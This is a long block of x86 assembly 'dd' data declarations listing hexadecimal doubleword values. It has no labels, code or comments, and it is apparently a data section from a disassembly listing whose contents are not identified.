dd 1006F2C8h, 1D61A3DDh, 0B09FED97h, 981216E0h, 0BE40B08Bh
dd 0DA660CC6h, 9151ED3Fh, 0E1202507h, 408E1588h, 0AD453C4Dh
dd 9C7A00F3h, 374A7ED7h, 7D0E5497h, 0DC2C3AE2h, 7BDA4700h
dd 1597F68h, 90452A15h, 0F0B961C4h, 137E1F72h, 0F579A660h
dd 0E28916FBh, 314292h, 67B9DCE0h, 0F6D7F011h, 0D8100085h
dd 342554D3h, 15008C08h, 0FF2FF14Eh, 1A47E3h, 0BDEC06D1h
dd 259CB372h, 13268206h, 699B6Ch, 7E46D5FFh, 6A699647h
dd 22F38000h, 0D742187Fh, 4F48C093h, 133F0C20h, 151CF750h
dd 0DA0B4000h, 0B7EA6E59h
dd 86600044h, 0E6C9C29Ch, 492A80E1h, 0FB00A88Bh, 1319B505h
dd 0E1A60F3h, 0BE9C2D71h, 682122A0h, 30938B4h, 20DF3C5Ah
dd 0C4FD6430h, 66A00C8Ch, 38499C49h, 0CF0017B0h, 0FCE68F5Eh
dd 0F576C43h, 0F8BC0478h, 0D088ADA6h, 92242A12h, 33D92840h
dd 69C50EFh, 6D678084h, 95001857h, 923E05E0h, 0F1BF44h
dd 0DA03D0D1h, 0B5D2918Eh, 0E651DD01h, 82D89727h, 0EB3F818Ch
dd 0B800BEA1h, 45DF4EACh, 18E6D191h, 29994961h, 606886Dh
dd 0E396419Ch, 4FAC0648h, 41753108h, 1A79400h, 6E256030h
dd 645F0042h, 0DFA3B1E9h, 33A1FCAh, 75E600EFh, 24A49B2Ah
dd 0B2BCA899h, 6F4E009Ch, 7F74EB5Dh, 1376CE47h, 1907CA71h
dd 0A78BB053h, 346802D0h, 18FA602Ah, 0EFF9E90Ah, 0E76D7E00h
dd 99F88C95h, 8AD44C1Fh, 19387700h, 185614FEh, 0EC906D54h
dd 0E8B4D601h, 0F57DC228h, 0EA1BC880h, 6E5DB906h, 0B4A13F24h
dd 74029028h, 24253563h, 0F6BCA093h, 0CABB5Bh, 50110A71h
dd 15E6A00Eh, 86219665h, 0ED6060C0h, 9D0B3EEFh, 0AFBD5E83h
dd 8100586Dh, 0ACE7135Bh, 5208EBh, 884EF589h, 3A583460h
dd 77191501h, 55E96CE5h, 0C0526DFCh, 43B50C39h, 911E88BBh
dd 0F00039CDh, 53DA6F2Ch, 4A5115CCh, 2B01D410h, 1150947Dh
dd 0A9AAD03Bh, 313C3909h, 0DF800EC1h, 1E4FFC0h, 0FD72F604h
dd 0E05184FDh, 0F7CB216Fh, 5E526CA0h, 30130029h, 0F847DBBEh
dd 15035794h, 4E658220h, 536CE091h, 496458A7h, 8C8044h
dd 0A845C79Ah, 0DA0869DBh, 0E60950E8h, 0DA43A73h, 884844C4h
dd 0C70D7456h, 0E1ECC2E1h, 0F113E2C7h, 0F9D84811h, 796BFB00h
dd 4AD5E9CDh, 5EA9000Fh, 0FC5CE3C6h, 0BD007DA8h, 0CF644725h
dd 1DC994E2h, 0A72EECh, 0C4FFBB19h, 0D8995D13h, 94E5F500h
dd 5C17454h, 4A5C6AB9h, 689C4013h, 496F5FE2h, 7B9DCB0Fh
dd 757FA084h, 0C79424CAh, 0B06241h, 8514E079h, 6B78EB00h
dd 17EC51FCh, 803B01C9h, 6D521FD0h, 3EC18E70h, 304091Bh
dd 0D81547E9h, 1E555D12h, 1EE8B1h, 0FB11DF2Dh, 0E109EFCAh
dd 5AFDE37h, 0BC001440h, 6CA7D6B2h, 1C3E0355h, 0E1C4CC9Ah
dd 6778EA80h, 244F5601h, 6A6D8CA1h, 0E7CA7180h, 9C3FBD91h
dd 51D1F305h, 0B840E992h, 82F03D7Fh, 0FCFF033Bh, 6972B7AEh
dd 3C793900h, 9D2F392Bh, 0CCC13C64h, 0F7004122h, 0C38562B2h
dd 2DA28FFh, 0E2263FE0h, 8CA0A824h, 7715B397h, 0EB89A51Fh
dd 1A10BA80h, 2CE1F50h, 8730F08Eh, 0BC60A6CFh, 5915CB39h
dd 0BC164Ah, 12AF3F4Fh, 0D28061h, 0A50EB37Eh, 0B5C94186h
dd 181C5824h, 9A201A64h, 0E900E5BEh, 3DC5924Bh, 18A94E19h
dd 599E4ABBh, 6C05FF56h, 14AC87C0h, 0D411B101h, 8420C9BDh
dd 8030061Bh, 318A4BE3h, 0DAE81000h, 160C753Dh, 6FB000A4h
dd 83A746D9h, 0CEFC730Bh, 27C12E1Fh, 3F262A70h, 0CA641F57h
dd 4B7CAF10h, 0E4A6AC00h, 0F67B22h, 0CF5CBFC0h, 3B9DFA43h
dd 8107C2E8h, 8575FB5Dh, 0D97EB480h, 2BB50017h, 52EF5FEAh
dd 0E9065D82h, 2D63E764h, 35923C69h, 0A2A0974h, 8C5639DDh
dd 732E4F00h, 3ABA1EFh, 62502113h, 77EF86C1h, 6BB8C0ADh
dd 0CC376529h, 35E6482Ah, 5ECB0051h, 293AB4CAh, 10A1E363h
dd 0C09F1034h, 0C90985Ch, 0BCC397C5h, 0F5008D19h, 0B9EA4B01h
dd 3AFB7731h, 1206CC4Eh, 49CF106Dh, 9395F500h, 44DAFA2Bh
dd 0EE210063h, 0A9C1CA34h, 7806A01Ah, 0D9F03FBEh, 4EE71830h
dd 0DEAA6137h, 32C26618h, 0A09E11h, 0BDCBA3D6h, 0AB28DACh
dd 0F3184CF2h, 1A088275h, 8FA80065h, 0AA038C6Ah, 0C8189E72h
dd 2A40663Eh, 0CEEB0C95h, 5011B1B6h, 0A93A8807h, 0DE49B598h
dd 284C0137h, 0DC12CBC0h, 0E6600D0Ah, 0AE443EC9h, 0DE980365h
dd 0A85D878Ah, 3A3299D0h, 15857206h, 159139Ch, 7423549h
dd 0D31EFDB9h, 0A8C1709Bh, 0BEFC41EBh, 0B0299F32h, 777E5940h
dd 0F8EC4D85h, 2C570302h, 26C1D838h, 7929F900h, 3FF2729Dh
dd 0F5FB00ACh, 67573159h, 8204C930h, 55B0F37Ah, 2C740C8Ch
dd 0E09B4ABh, 0C0DDFF24h, 721FA6F9h, 8AC0E630h, 1B4E2789h
dd 7FB7B79h, 5AA2650Eh, 133550C5h, 0BC12013Fh, 6507B8A9h
dd 0C345C05Dh, 0DD2C8440h, 776F8511h, 99AD0043h, 47FF3E57h
dd 2F0308B4h, 2D3D144Fh, 3487439h, 0E75FA1D8h, 0D1003659h
dd 296FBA14h, 0ABE594BEh, 44C08284h, 3E503D48h, 3F64FD00h
dd 0A5E77315h, 0E44C8D1Bh, 0A4819348h, 69308Ch, 4098BC9Dh
dd 859EAB9Fh, 21387367h, 60D3F7D3h, 0E9AA4461h, 5438B83Ah
dd 6B538C87h, 0F1DE02h, 0A2976D35h, 417599D9h, 223D5203h
dd 0D66429B1h, 59B23C69h, 818F3A1Eh, 7B5B880Fh, 0E1909D52h
dd 0A90A3424h, 2989C0C0h, 6B41668h, 0ADCBB70Ah, 30CF8093h
dd 52019065h, 0F70CAA6Bh, 0BB180D8h, 6583295Ch, 0C6F823h
dd 1E5B85D3h, 564A64D8h, 0EDE47E90h, 0F36B9E00h, 84E23D51h
dd 0C90D3050h, 5A59FF79h, 0E13141Ch, 0A7CDC83h, 674980AAh
dd 69EA018Eh, 0A96B5F6Dh, 45C2291h, 0FDF59A14h, 0DEFE4980h
dd 25503C70h, 12C26AAh, 7FCA23BDh, 0F8669159h, 583F46E0h
dd 3EF5DC63h, 3D90815Ch, 0BDB3CE20h, 69295986h, 727A41E5h
dd 0A85A803Eh, 47003C92h, 0EB9A6CDDh, 1DF28DF7h, 87EAC19Fh
dd 9A10F152h, 66BF3FBCh, 190E1AAh, 3979EAB4h, 0F16B0241h
dd 46D450EDh, 17006A97h, 7FDFEE90h, 1614BB81h, 6D50199h
dd 89CD10D0h, 0E5EF2E07h, 0A86A0655h, 3BCBB01h, 0D8D9CFBFh
dd 0D6F7E451h, 3A17197h, 0E07738B2h, 1E260E8h, 0DDAAFA2Eh
dd 59C1803Bh, 37527624h, 32B04871h, 0CE01B13Ah, 3F0AF86Eh
dd 37BD41Eh, 0B23AA302h, 0E058968Fh, 48798D59h, 0E0221862h
dd 0D240CF22h, 948C2080h, 7900FD29h, 854F6E3Eh, 61913BAAh
dd 7FAD2948h, 0B78D3028h, 50329401h, 0BB911385h, 3E512180h
dd 3D7955C6h, 0B529FF01h, 0B8147D7Bh, 298C12F8h, 8C0D61h
dd 0BDF122A5h, 560EE162h, 9D35174Bh, 99BE3A40h, 7A5815h
dd 231C9CE4h, 6695345Fh, 10100D24h, 0DAAC3B40h, 0A0AF0399h
dd 0F093E14Fh, 7DA7AAA0h, 40474400h, 19638DB4h, 3D50026Eh
dd 91D8E241h, 1065D461h, 0B5D4F330h, 70FF01C0h, 0AB240090h
dd 60402894h, 11EB6E1h, 75AB0C3h, 0BD14D5DFh, 985900A0h
dd 0AC9C6EC9h, 67F10FEAh, 0A402CB17h, 0ECA0CF94h, 1C6312F5h
dd 5A167E00h, 86373108h, 0B68103A7h, 0EA2E91E1h, 0C4AF24E2h
dd 3C001C14h, 55400996h, 0C4134B41h, 350057BAh, 0A0A32748h
dd 0A950249h, 9B6B0E62h, 0A4F88060h, 0E2E8CB12h, 74632440h
dd 2611C75Ch, 346696h, 320DBF65h, 3048BB5Ah, 0B4CE9E70h
dd 2915A0F2h, 0CBE9F78Ch, 71808519h, 80E74E62h, 0BB069200h
dd 0D3B4EED5h, 2E3E240Ah, 0BA443DBCh, 9F814201h, 0B5C888C2h
dd 0F712B822h, 0C02C40EFh, 99382EA5h, 0EA0A19B8h, 0E8794C98h
dd 5C01E711h, 0B1D54D89h, 0E0303014h, 0C05388h, 0BC8F02A1h
dd 0BB4E21FDh, 54E7C828h, 3D137902h, 44B7CE1Ah, 0FC500154h
dd 0F78FD970h, 5A046029h, 1DF57B01h, 0FA7A7588h, 16C872D0h
dd 0E039047h, 0B2C31224h, 0B6E081D6h, 10C1FD55h, 0B1CEFC7Dh
dd 3F5900F7h, 29DBD922h, 0BB54C2BAh, 0E30051DCh, 93FAAD41h
dd 2978F7Dh, 11208DB9h, 0B44E50DDh, 0D501BC84h, 60307E37h
dd 0F0915998h, 33B85BCEh, 6CA82D00h, 0AB01EBC6h, 0C4BA3900h
dd 5D380458h, 0A4B009h
dd 49E82FF8h, 643E4C1Ch, 58D5B63Ch, 0DF08044h, 4C8C67C4h
dd 0ED0B3D87h, 0C7004C27h, 263405A4h, 5E08AC0Bh, 0C70100Dh
dd 0D2EC80h, 470F8CC3h, 0E78E8F82h, 79567E17h, 0EC7C1Ch
dd 30049500h, 5863721Dh, 818024E8h, 0C3F38C7Eh, 0C00BC700h
dd 0BE7F94A8h, 274500A2h, 4F41814Bh, 12006119h, 0B965526Fh
dd 76B6C8Eh, 2130639Ch, 9550C018h, 252EB241h, 5960C897h
dd 0C3CFEh, 0FA5119B4h, 0CB3B5209h, 263DAE0Ah, 9702D417h
dd 2765B8C8h, 3FD4B030h, 0A348328Fh, 0B210D90h, 0CBD0380Eh
dd 9491F7h, 44C591A4h, 19B82ECAh, 81C4655Ch, 7E1A4E40h
dd 34694450h, 0E8AD7DF9h, 4E0B02EDh, 6F837967h, 0DF007446h
dd 0FDBD1C9Dh, 19B9C04Ah, 41294FE7h, 0F8F88081h, 0B16EF642h
dd 0B1576191h, 0E45AC478h, 0D9031831h, 61E7639Dh, 0A390138h
dd 5CB39B5Fh, 459C279h, 5508200h, 62B1D8h, 0A94DFDECh
dd 3E25E38h, 9D13EB04h, 64801597h, 0B3A008h, 0C2EFD6ACh
dd 48E71407h, 0A9DAE9C0h, 0CA789F5h, 0D5106042h, 551E2319h
dd 0AE40BC1Ch, 49BB22ACh, 3BF101BEh, 0C66FE9EEh, 9E4FFC30h
dd 95476426h, 102E0F04h, 0B26488h, 4A95A83Dh, 5237DDA9h
dd 0D8D48404h, 2BC274A6h, 40708060h, 58A76526h, 2E005505h
dd 3A8FAF09h, 0FA024713h, 0B37EA95Ah, 9864E09Bh, 0EFB40541h
dd 262824Ah, 0FE9594A8h, 0BB4074E0h, 0CA8F884h, 0DC10CE8Dh
dd 9401E391h, 2E15438Eh, 16F0600Bh, 0CF4C24F6h, 0AB6B0528h
dd 0F300815Ah, 0F9142170h, 0B418923Dh, 0B01D2003h, 88102C6Ah
dd 0C0200600h, 0BF7FC11Ah, 7C726F00h, 42048125h, 0EC16130Ch
dd 10690377h, 91BC3EBEh, 80E10D10h, 42517591h, 2CB38B17h
dd 8B47E18h, 0CC00E729h, 0A1B489FCh, 0A36728D7h, 0D6630B9Fh
dd 0BB01C52Bh, 29C29A93h, 0D99B07DCh, 6420A980h, 529771h
dd 1332C1C4h, 9B99267Dh, 51062207h, 8BB72909h, 62F23F40h
dd 259C7ED4h, 1018B7C8h, 84A00C99h, 3D145C9Fh, 0F801218h
dd 86322EF5h, 0C1E464h, 0A6BAAA69h, 4062D386h, 3C12548h
dd 13935A9Bh, 30DD8883h, 475B1618h, 387408EEh, 10E03F83h
dd 634900E2h, 0BA6D7525h, 420F802Fh, 0BF6AA34h, 0C2A418A0h
dd 0D9FAD1h, 14798C3Dh, 759BC17Bh, 9F2D6F00h, 0B0683056h
dd 0AA190011h, 0D4B342D2h, 0DE022A2h, 3869CB60h, 310BAFh
dd 1FD9972h, 6057C0B3h, 9BB15800h, 64E3FE25h, 2426983Eh
dd 5347581h, 81A88FF7h, 0D039F930h, 1E0963B8h, 8085253Fh
dd 0EA3AF554h, 0E3112509h, 709AC011h, 5F3FB4B7h, 3431CEF8h
dd 5881AC98h, 9C2749F9h, 6FE180CCh, 0D66D1E76h, 0CB7F0090h
dd 9B6367C2h, 0C7027A8Dh, 0EE179547h, 8FE0802Ah, 0FEAD5B2h
dd 11C87F5Fh, 30F94FE1h, 2EA82C0Bh, 6B02C082h, 4687848Ah
dd 0B6350780h, 0A04CA953h, 0C5C877B4h, 8DE14D00h, 0C287C93Fh
dd 80A9C019h, 0DF1888A7h, 845A6100h, 0CC99E127h, 8B8201DEh
dd 105F707Ch, 65981C8h, 771FF736h, 9621D4h, 406E5E14h
dd 0A0103F94h, 8F4F6700h, 180229A4h, 917168h, 0E44C81C4h
dd 31C29875h, 0D98E79DFh, 6E12E045h, 0F4F4CACh, 0AD709D18h
dd 0D8A0EAE9h, 2EE69655h, 0A5167600h, 1BF2E180h, 94BD122Fh
dd 0B2600508h, 0F678C16Eh, 63E4209Ch, 3E18C67Ch, 91208F66h
dd 0E828AB8Dh, 901B419Ch, 0FC9A0037h, 5E1C2128h, 0DB2EFDD0h
dd 7F4088E8h, 0F820E1Eh, 0FD3162Ch, 88225600h, 9124E001h
dd 3981A0BEh, 6F701984h, 3AD809C9h, 547F4D18h, 85B5BB1Ch
dd 8CF377E7h, 7E00A540h, 51DC2CD8h, 0C0D5E86Ah, 9AF88419h
dd 0B200A580h, 5FFD7435h, 73130A02h, 19881260h, 35CC8805h
dd 39B01101h, 27B72D07h, 285BA0C4h, 0E5B4F7EFh, 909EE820h
dd 4CF27F10h, 0E2016089h, 0B468A50Dh, 419FE4E8h, 0F11C4412h
dd 71752804h, 2CED088Ch, 7207498h, 0E7EF0394h, 0A2A0BE64h
dd 0D673D5F0h, 0F78AE0Fh, 0E63E616Ah, 0C8E03857h, 0F4804843h
dd 72DE53C0h, 2F0032CEh, 5D52C920h, 1FAC6593h, 274215C0h
dd 0F55E1010h, 4D4AB800h, 3A78FE22h, 91EA00BBh, 4E419E85h
dd 0B1273DCh, 0A05C369Ch, 0FD090647h, 90ABE270h, 7F39009Bh
dd 0EC579384h, 79F4FB23h, 989C52h, 2B2DAA32h, 50EB45F7h
dd 4A29097h, 7B65AE13h, 0A7B4830Ah, 5A854DF0h, 42697C02h
dd 783D176Ah, 6EE00040h, 2699BBE7h, 50029343h, 0DF9F5A82h
dd 0DDF0407Ch, 0C800183h, 0DA69083Eh, 22EC48EAh, 7F0FF07Ch
dd 71B9BA6h, 4B701A48h, 934C357h, 0ACF1F0Fh, 28C03882h
dd 7256C0A0h, 0F2042616h, 8C31E786h, 0EDE512C0h, 6E09051Dh
dd 888246h, 62FFEEB8h, 7091EA7Bh, 3A1C4800h, 0E35E7D7h
dd 7679AB2Eh, 993B59C1h, 0A088208Ch, 8B012096h, 0D9EBF7FBh
dd 0C7DB8F00h, 0A6B12702h, 0C107DF3Ch, 0E8817574h, 0C1ECAF98h
dd 405040BEh, 0AA131AC7h, 0DB001058h, 0AC9A57C9h, 6DF002EAh
dd 0C39DA620h, 0C50058C4h, 0C4C072Dh, 642463h, 39D19F53h
dd 1CC4AE67h, 0D3BEDE00h, 9AEA453Fh, 94E6EE3Bh, 64E78B9Ch
dd 7B405C90h, 0EA0068B6h, 51FD2EA5h, 3E731482h, 0A91588D1h
dd 8700F8BFh, 57EA5A81h, 0E8B9C0F1h, 0EC6F1900h, 12EFBE78h
dd 2294A456h, 1D607B40h, 9B3FE9BFh, 0E4820287h, 71D429FCh
dd 0C3471EECh, 0A8072130h, 0A3CB04C0h, 0C88BBE06h, 49BC3Fh
dd 0A1BD4052h, 0B2956E50h, 0C2888F16h, 0B6778D0h, 8E5E3FF4h
dd 11303A80h, 4FB2AA54h, 9D55710Bh, 0C82B0Ch, 0F7581638h
dd 724700A1h, 0AC183F66h, 0C11E8645h, 2CA6B240h, 65508100h
dd 9573DF8h, 3CBE295Bh, 0C8179464h, 0A040E94Bh, 6C73917Fh
dd 8C6B3050h, 0F5F23768h, 0D3223224h, 0A74EE05h, 76A18C3h
dd 6C39E841h, 0EF953047h, 0CCA18801h, 6530403Eh, 4FE80A90h
dd 0C40914E6h, 80D67688h, 505E8CC4h, 7C4B110h, 60F47CDEh
dd 84E6F02h, 1EB8DB05h, 0B700125Ch, 3D07327Bh, 0FA14F011h
dd 4B2F2EBh, 0D45981C5h, 944080A9h, 5099AFA6h, 9FEF5780h
dd 7A6218h, 631E1773h, 1DF114EBh, 0F4A65512h, 0E5A38830h
dd 89C600E7h, 238C5A5Ch, 990E213Bh, 29EECE37h, 503CC80Fh
dd 38C403BEh, 0B4568BB3h, 0F17942A0h, 27E00D07h, 14174195h
dd 4A917841h, 30851010h, 0E9F12E0Eh, 2161409Ch, 6AD35h
dd 0E5767168h, 0F76C287Ah, 2491D760h, 4F8C02h, 0A6CD9838h
dd 0FBAD8DCCh, 4AF2A700h, 0DEBB3EA5h, 53EF01FEh, 0DD6B4EA2h
dd 7C3292h, 7FDC415h, 3FF2D343h, 3F005688h, 2E369B0h, 72161E4Eh
dd 0D8D09C3Bh, 34F7DCh, 0D172E6Dh, 3F1EFACh, 72D44D00h
dd 8B27597Bh, 4098B4BDh, 90431295h, 0E2EFBC28h, 9EEA600h
dd 3A9AF9F5h, 0E4E83061h, 8E9D7FC9h, 75040E01h, 7E371ABBh
dd 3ADBD8FBh, 14D751BEh, 0E9E7E000h, 4241389Ah, 0B2394884h
dd 1E78B325h, 5A169D47h, 48A8E4CCh, 1A008486h, 60AE8143h
dd 0C70966E0h, 28277EAh, 6B14FF94h, 37408C9Ch, 0A2335A4Ah
dd 6A23F503h, 996C227h, 12A8F778h, 0B266F881h, 5F67E0ACh
dd 91C03400h, 881A7A4Ch, 13091C3h, 416FC722h, 0A6CE05Fh
dd 0ADE1AE00h, 91537E44h, 0F6569850h, 0F79D19F8h, 0DC3D58A6h
dd 8512A938h, 0F4C8392Bh, 9770FCh, 506028F5h, 4DEA353Bh
dd 5F6110F9h, 3D8B90Dh, 7A7586C1h, 9654A7C0h, 0AA4C7000h
dd 803FB9C9h, 864326F4h, 41300230h, 0CC526C29h, 3FF74C00h
dd 26B2A809h
dd 0B117488h, 0CB3977Eh, 0D33D6064h, 0A9A5808Ah, 95992001h
dd 409C5F33h, 556A658h, 250ECA69h, 9D5A994h, 0AD3CC8C0h
dd 32100D4h, 7C61491Dh, 502C7B67h, 0A7023E8Ah, 0C263257Dh
dd 70F1C20Ah, 20714FACh, 0E035C634h, 11C4BB00h, 0B52CDCE1h
dd 6A1A134Fh, 0EE18025Dh, 5480E8AAh, 0BFE3729Ah, 9D00337Ch
dd 0A9EF7F06h, 5DA42D6h, 0C8A0979Ch, 41BCF540h, 604C7500h
dd 914883E0h, 9B57807Ch, 4C85DDCBh, 5003760h, 0B9C250E0h
dd 620191C7h, 1319FAF0h, 70E92399h, 0C080A468h, 0F3C15A9Ch
dd 87F2A818h, 174B70h, 32EC5FE7h, 7DC7BB06h, 48C1E125h
dd 9FCA58h, 11BD08A0h, 4F9B7965h, 91D5BE2h, 2F19EA20h
dd 1C7C0A29h, 3B82E380h, 24077A9Dh, 533AA693h, 0A0096183h
dd 7CEA51E5h, 855403C3h, 247C1F73h, 7A2C8CDCh, 0FE624200h
dd 0A6022EAFh, 0E610229Ah, 98EE401h, 0D02CBA3Ch, 3F84B07Ch
dd 6EE0C040h, 3903EDF6h, 68298232h, 5A210BDBh, 0A402AE97h
dd 502166B4h, 0D829C385h, 43E15107h, 9844238Ah, 68A0AACAh
dd 0C1C9DC94h, 0D97FE500h, 0E8653C38h, 0EDE61DB6h, 5B02813Dh
dd 309F82D4h, 1E14A110h, 234A9CEh, 430A3595h, 0B4F8E01Fh
dd 0FE1C008Eh, 0CE22A1BBh, 29C51440h, 68E27029h, 0B03FB221h
dd 7E3589D7h, 2133007Ch, 6456DBA3h, 7D078911h, 9F3974F4h
dd 909C7302h, 7752A4h, 0D57CAC12h, 82B55BAEh, 84874C00h
dd 16CFDDB9h, 71CA600Dh, 0CE105EBEh, 2E49F400h, 79C6C746h
dd 0E0E70016h, 0A3BBE638h, 0AA626B4Bh, 664412E0h, 0CFCD00ACh
dd 21FF5DE6h, 0AD007964h, 9CCAC725h, 1BCF93Bh, 397CD05Fh
dd 3DC287FBh, 0AC281734h, 0AFAD1901h, 51FCF1CDh, 560C00F3h
dd 9027E207h, 0E150105Fh, 3A039750h, 2FE4C396h, 5F09B04Dh
dd 8C791F85h, 81B74B29h, 467B7383h, 0D4526FC2h, 9DB4143Eh
dd 55857566h, 4AC4C897h, 0A462B823h, 6895940h, 1F7C807Ch
dd 0C4046545h, 35501843h, 85E205EDh, 0C16D4B41h, 0FC70F4D0h
dd 0E559BE1Ah, 3BE2830Ch, 0FF3A0A8h, 1A7F25AEh, 0C04A9C87h
dd 517DA067h, 0B17A9AF0h, 0E59B30C7h, 0D1B6C822h, 222B09FCh
dd 8800C864h, 9E57CE1Ch, 2E0A36E6h, 11D0A990h, 0DB4702BBh
dd 4075D11Ch, 161743ECh, 90BFC296h, 814087F8h, 94A66500h
dd 59FE326Eh, 6ADE213h, 0C8BBEC93h, 6800C1E6h, 6D87E2A6h
dd 79D1ACA4h, 1F4E05FCh, 88913736h, 593F8FD8h, 8041BF16h
dd 76AA7C24h, 2F326h, 3E09B3DFh, 8F3A7F5Ch, 0A048EA27h
dd 0CB564228h, 22C8B833h, 0FCB0DB63h, 5A81ED02h, 62B3F57Ch
dd 0F2841884h, 0DFA90924h, 4000390Ch, 186616FEh, 50980A90h
dd 0AACE2A12h, 0FC0888D5h, 376B81E4h, 80F410F8h, 2C28B11h
dd 0B194A586h, 5D0E0010h, 692BE127h, 71B41F00h, 0FF3A1BFAh
dd 0EC53FA81h, 0F6520B3Dh, 0F8008E0Ch, 37DF79B0h, 2C6B292Fh
dd 0A3F88F8h, 5F545728h, 73E902E8h, 9052C03Bh, 4102EE7Ch
dd 0EA28B284h, 96885A4Eh, 7A4514h, 67B886C0h, 3395065h
dd 0E0D614BBh, 1388008Ch, 3A3273E1h, 92F32794h, 0B8B5B8A0h
dd 13094D9Ah, 87F75C6Bh, 1700D4D7h, 1F2E0745h, 0E657516Ch
dd 0F4F16068h, 0F2000F53h, 2A68BA3h, 7D18E2Ch, 6CBA7B97h
dd 1E77411Dh, 0B098209Ah, 0BE7E9688h, 928B4E14h, 15E09600h
dd 3BE8830Bh, 82145777h, 22C813B8h, 58498BCh, 67295598h
dd 8C9D6h, 78412224h, 1CA4CF00h, 69838D2h, 6D361F8Fh, 0D0C2123Eh
dd 10AEBCCCh, 3A467607h, 7591DBB9h, 202AB833h, 0A525A834h
dd 482B0439h, 1810003Dh, 1A97AA1Eh, 0F7DE00AEh, 3DF44C87h
dd 90B038F3h, 14C75600h, 8AD7213Fh, 0C070B4C4h, 0E963659Ah
dd 59F5C807h, 8F866E9Dh, 0F0210B7Ah, 10C44548h, 802CA73Dh
dd 0D5366191h, 381CAFh, 9E532DF2h, 0E49967D7h, 0B8101826h
dd 0AC0FE940h, 0B90C0016h, 6AF9DE1Dh, 0E500743Bh, 30028A35h
dd 1667C6F3h, 161A8091h, 4BA888CDh, 3E967900h, 538A3918h
dd 3344023Dh, 943F60A1h, 50F614E6h, 0B3B4F901h, 556DC086h
dd 36EE00DFh, 5C7DC1A3h, 84A097E5h, 6F73FB52h, 4FB76B01h
dd 28F996F5h, 0CF7C313Ah, 3AE84CB4h, 517F4D1Dh, 0EC280B1Ch
dd 266AE444h, 4084F722h, 0F4CB658Dh, 0B41F47E2h, 7C6C9685h
dd 0C853F700h, 7E039806h, 28FA2414h, 161A07A0h, 11FC027Dh
dd 4F8AEC98h, 0D745CB1Ch, 33EBAh, 0BE474E9Ch, 286B37h
dd 357A3E7Bh, 8C7CB68Eh, 99F53F00h, 74721C9Ah, 435096C1h
dd 2DD9BDD8h, 0F46020C6h, 80A6C43Dh, 2577CEEh, 28A1680Ch
dd 4CAD3D24h, 0CC80AC9Ch, 0C7CFCE66h, 14F178B8h, 89D528B0h
dd 5A6C62C1h, 0CF942C20h, 2FD524A7h, 0FDF200F9h, 0C7433B99h
dd 1B9A6801h, 813D7188h, 27D14891h, 88443Ah, 0D0B2A96Dh
dd 79D51AB8h, 28133390h, 30169EBCh, 39F900EAh, 417CF9A9h
dd 14F8B226h, 0ADEEB05h, 0FB04B81Dh, 74C89134h, 0A61400BFh
dd 0E2AAA9A2h, 0E34C94BBh, 63A882F8h, 74BC781Ah, 983B628Eh
dd 0CF23E06Dh, 5F4FA4B6h, 3F47AFE3h, 0C2B8C2DFh, 7491D4ABh
dd 0E962F82Ch, 880EACFAh, 0A3A80BA6h, 996B49F5h, 84709D6Dh
dd 50CF00E9h, 0DC161742h, 6E4AC40Fh, 38067080h, 5F48901Dh
dd 8E6407FCh, 6311C062h, 0B03DE59Ch, 0FA52035Ch, 803D0ACBh
dd 1F80944h, 99BE3B98h, 606B3829h, 0FC28A0B8h, 0EF3F8CC4h
dd 0BCC326E2h, 1E7A9A40h, 0A9123F0Dh, 17F4C80h, 8CF33A36h
dd 0C8666CC0h, 9EFC67h, 191F3B18h, 17588132h, 9C01632Ch
dd 0C1D23D1Eh, 0FEB22090h, 0D0A103D9h, 2C34D488h, 649BB803h
dd 0F05FEAF8h, 90D2103Fh, 0F41D0FC1h, 4D8B87AEh, 0A77024E4h
dd 3B7EDCA0h, 0E0440509h, 1F0D1FBh, 5042DB87h, 0C303A2Dh
dd 493C305Ch, 0B4AACE1h, 5C00EF50h, 0A26866BEh, 0A0EAEB2Dh
dd 0FDCB48FCh, 0C27900BFh, 1B58E533h, 862EBA4Ah, 5D00043Dh
dd 8ED6B41Dh, 0B1FB248Bh, 0AFF80034h, 8AB77281h, 0AC30F17h
dd 81094C82h, 0FE7CC2B0h, 0A980883Ch, 1ECEF697h, 0D8000670h
dd 33EA9B22h, 511716E6h, 0DC6083ABh, 564C0041h, 1EE45ABDh
dd 60279ACh, 0F997DC99h, 1D8C623h, 0B88189B5h, 6230BBF5h
dd 0C2980A60h, 0FB808CBDh, 78035FD4h, 450404B6h, 0C03CC7E5h
dd 4C8218DFh, 87C38812h, 82813809h, 40BA1475h, 1DAE0959h
dd 0A86EBD1Ch, 522945C4h, 5A20DB7Ch, 0B6FB2FF2h, 0E2804E60h
dd 8BFD0FB4h, 44071F72h, 36C04975h, 0BE352A40h, 61EA1980h
dd 28643122h, 726B80E0h, 3ACAB1Eh, 7FC1968Fh, 0AF80459Ah
dd 71257DF8h, 1D5040A0h, 209085Fh, 0F080F40Dh, 3ECF9D5Dh
dd 6C90976Eh, 6000B74h, 4DFEFF7Ch, 7A121370h, 95291317h
dd 46ACB494h, 87E18900h, 4C9AF815h, 5B5FCA7h, 306F1731h
dd 0ABE40EA0h, 1844350Bh, 7D29CB00h, 0E7732D9Fh, 22189890h
dd 6500E1CAh, 0A0D51CA7h, 4A296B30h, 7A48861h, 4C4EE7E0h
dd 0EC882052h, 0DCF200AEh, 0E5A4BADDh, 9B381E8Ch, 67A782B2h
dd 56F78F88h, 6CE6802Ch, 9CFA859Fh, 0C21C9307h, 5514FCCAh
dd 1AAB4CCh, 0E2CBDC22h, 0F9B81B2Fh, 680EF8F7h, 888C9E00h
dd 0B93EAB43h, 868B0948h, 284A3BC8h, 0BE1F0854h, 8C7A68EAh
dd 15D7A017h, 194AC88h, 412FB21h, 7C8262BBh, 7E108074h
dd 0F22CA013h, 7A349A20h, 5FE70067h, 0A602847Fh, 10953505h
dd 3CFD658h, 26322DDFh, 9A0ECF4h, 3958AABEh, 2164C3D8h
dd 40D397ABh
dd 0B80393D9h, 3F54C05h, 0C6129AC0h, 79904759h, 0CB4C3A0h
dd 7C98C480h, 0EE9A755Dh, 95147546h, 0A706810h, 0A147D900h
dd 0DCFAB4EEh, 73530E55h, 1209682Eh, 9B0E8D82h, 92CE21C0h
dd 98D55225h, 0BC906380h, 12D440A4h, 46149271h, 0BE3DC7Ch
dd 606189D8h, 223DE64h, 26BC4F44h, 5436C3h, 0B59A9040h
dd 86C00D2h, 1E4ADBAEh, 902C6A2h, 0FC59EF99h, 0F8C662h
dd 9370DCDDh, 0FE9A320Fh, 0FDC57F1Eh, 0BC6058Eh, 41EF0504h
dd 4C7D1C80h, 0EBAAA0D9h, 7B9C0972h, 9C713DC8h, 27B65CAFh
